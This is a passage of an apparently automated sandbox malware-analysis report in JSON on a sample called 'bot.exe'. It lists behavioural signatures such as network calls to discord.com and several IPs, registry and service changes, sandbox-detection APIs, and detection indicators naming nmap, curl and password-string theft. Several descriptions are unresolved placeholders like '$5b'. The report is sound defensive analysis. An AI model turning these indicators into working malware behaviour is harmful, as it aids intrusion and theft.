touch file \"C:\\FLTLIB.DLL\"\n \"bot.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"bot.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\FLTLIB.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$59","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$5a","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"bot.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\_mei0000052c2\\pil\\_avif.cp314-win_amd64.pyd\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"api-ms-win-core-sysinfo-l1-1-0.dll\")\n file/memory contains long string with (Indicator: \"getcomputernameexa\"; File: \"api-ms-win-core-sysinfo-l1-1-0.dll\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"PING\" (Indicator: \"ping\"; Source: \"00000000-00002724.00000000.171515.B47B6000.00000002.mdmp, 00000000-00002724.00000003.176644.B981F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"_socket.pyd\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"bot.exe\")\n Found reference to API \"setsockopt(level, optname, value[, optlen]) -- set socket options\" (Indicator: \"setsockopt\"; Source: \"00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp, 00000000-00002724.00000003.176644.C3039000.00000002.mdmp, 00000000-00002724.00000003.176644.F7164000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Able to use vulnerability or port scanning tools","description":"file/memory contains long string with (Indicator: \"nmap -st\"; File: \"api-ms-win-core-memory-l1-1-0.dll\")","origin":"File/Memory","mitre_attack_id":"T1595.002","relevance":1,"id":"string-996","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"$5b","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"bot.exe\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"bot.exe\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"bot.exe\")\n Found reference to API \"setsockopt(level, optname, value[, optlen]) -- set socket options\" (Indicator: \"setsockopt\"; Source: \"00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp, 00000000-00002724.00000003.176644.C3039000.00000002.mdmp, 00000000-00002724.00000003.176644.F7164000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"CURL\" (Indicator: \"curl\") in Source: 00000000-00002724.00000000.171515.B47B6000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Contains reference to OpenSSL library string","description":"file/memory contains long string with (Indicator: \"openssl-\"; File: \"sbom.json\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-494","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 208.95.112.1 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"level":"informative","category":"Network Related","name":"Found Python requests User Agent string in memory dumps","description":"Found Python User Agent \"User-Agent: python-requests\" - Source: \"00000000-00002724.00000001.173435.FF640000.00000004.mdmp\")\n Found Python User Agent \"User-Agent: python-requests\" - Source: \"00000000-00002724.00000002.175358.FF540000.00000004.mdmp\")\n Found Python User Agent \"User-Agent: python-requests\" - Source: \"00000000-00002724.00000002.175358.FF640000.00000004.mdmp\")\n Found Python User Agent \"User-Agent: python-requests\" - Source: \"00000000-00002724.00000003.176644.FF640000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1071.001","relevance":2,"id":"memorydump-4","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"file/memory contains long string with (Indicator: \"githubusercontent.com\"; File: \"METADATA\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Found email domains (string)","description":"file/memory contains long string with (Indicator: \"@gmail.\"; File: \"LICENSE.txt\")","origin":"File/Memory","mitre_attack_id":"T1585.002","relevance":1,"id":"string-235","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.0.2\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"details too long to display","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 client library\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$5e","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$5f","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"discord.com\" (10 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"$60","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"discord.com\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"User Agent string indicates scripted web access","description":"Found scripted User Agent python-requests/2.34.2","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-103","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"162.159.137.232\" on port \"443\"\n HTTPS traffic to \"99.84.160.115\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"libcrypto-3.dll\"\n YARA signature for AES encryption matched on process \"00000000-00002724\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00002724\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Zlib compression file detected","description":"YARA signature for file using Zlib compression matched on process \"00000000-00002724\"\n YARA signature for file using Zlib compression matched on file \"_imaging.cp314-win_amd64.pyd\"","origin":"YARA Signature","mitre_attack_id":"T1132.001","relevance":3,"id":"yara-161","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote user information","description":"Observed string: \"FINGER COVERING CLOSED\" (Indicator: \"finger \") in Source: 00000000-00002724.00000000.171515.B47B6000.00000002.mdmp\n Observed string: \"FINGER AND THUMB\" (Indicator: \"finger \") in Source: 00000000-00002724.00000000.171515.B47B6000.00000002.mdmp\n Observed string: \"HAND WITH MIDDLE FINGER EXTEND\" (Indicator: \" finger \") in Source: 00000000-00002724.00000000.171515.B47B6000.00000002.mdmp\n Observed string: \"FINGER C4\" (Indicator: \"finger \") in Source: 00000000-00002724.00000000.171515.B47B6000.00000002.mdmp\n Observed string: \"FINGER C@\" (Indicator: \"finger \") in Source: 00000000-00002724.00000000.171515.B47B6000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-579","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \"--profile-directory=Default\" (Indicator: \"--profile-directory=\"; File: \"msedge.exe\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"file/memory contains long string with (Indicator: \"getlogicaldrivestringsw\"; File: \"api-ms-win-core-file-l1-1-0.dll\")\n file/memory contains long string with (Indicator: \"getlogicaldrivestringsa\"; File: \"_psutil_windows.pyd\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: bot.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: libportaudio64bit-asio.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: libportaudioarm64-asio.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: libportaudio64bit.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: libportaudioarm64.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: libportaudio32bit-asio.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: libportaudio32bit.dll]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKeyExA\" in file \"bot.exe\"\n Found registry query API: \"RegOpenKeyA\" in file \"bot.exe\"\n Found registry query API: \"RegQueryValueExA\" in file \"bot.exe\"\n Found registry query API: \"RegQueryValueExW\" in file \"bot.exe\"\n Found registry query API: \"RegEnumKeyA\" in file \"bot.exe\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$61","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"bot.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$62","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: bot.exe)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"$63","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve list of files and subdirectories","description":"$64","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-328","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"bot.exe\")\n Found reference to API \"getsockname() -- return local address\" (Indicator: \"getsockname\"; Source: \"00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp, 00000000-00002724.00000003.176644.C3039000.00000002.mdmp, 00000000-00002724.00000003.176644.F7164000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"bot.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$65","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$66","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: bot.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$67","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete device information set (API string)","description":"Found reference to API \"SetupDiDestroyDeviceInfoList\" (Indicator: \"SetupDiDestroyDeviceInfoList\"; File: \"bot.exe\")","origin":"File/Memory","mitre_attack_id":"T1485","relevance":1,"id":"string-442","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"DEL\" (Indicator: \"del\") in Source: 00000000-00002724.00000000.171515.B47B6000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"bot.exe\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp, 00000000-00002724.00000002.175358.B9565000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00002724.00000000.171515.C11FE000.00000002.mdmp\n 00000000-00002724.00000000.171515.F7D40000.00000004.mdmp\n 00000000-00002724.00000001.173435.F7D40000.00000004.mdmp\n 00000000-00002724.00000002.175358.F7D40000.00000004.mdmp\n 00000000-00002724.00000003.176644.C3039000.00000002.mdmp\n 00000000-00002724.00000003.176644.F7D40000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"bot.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"9D3D17B0FB6DDD010000000000000000000000000200000000\")\n \"bot.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"GetTokenInformation\" which can \"retrieve a specified type of information about an access token\" [Source: bot.exe]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"bot.exe\" opened \"\\Device\\KsecDD\"\n \"cmd.exe\" opened \"\\Device\\KsecDD\"\n \"msedge.exe\" opened \"\\Device\\KsecDD\"","origin":"API 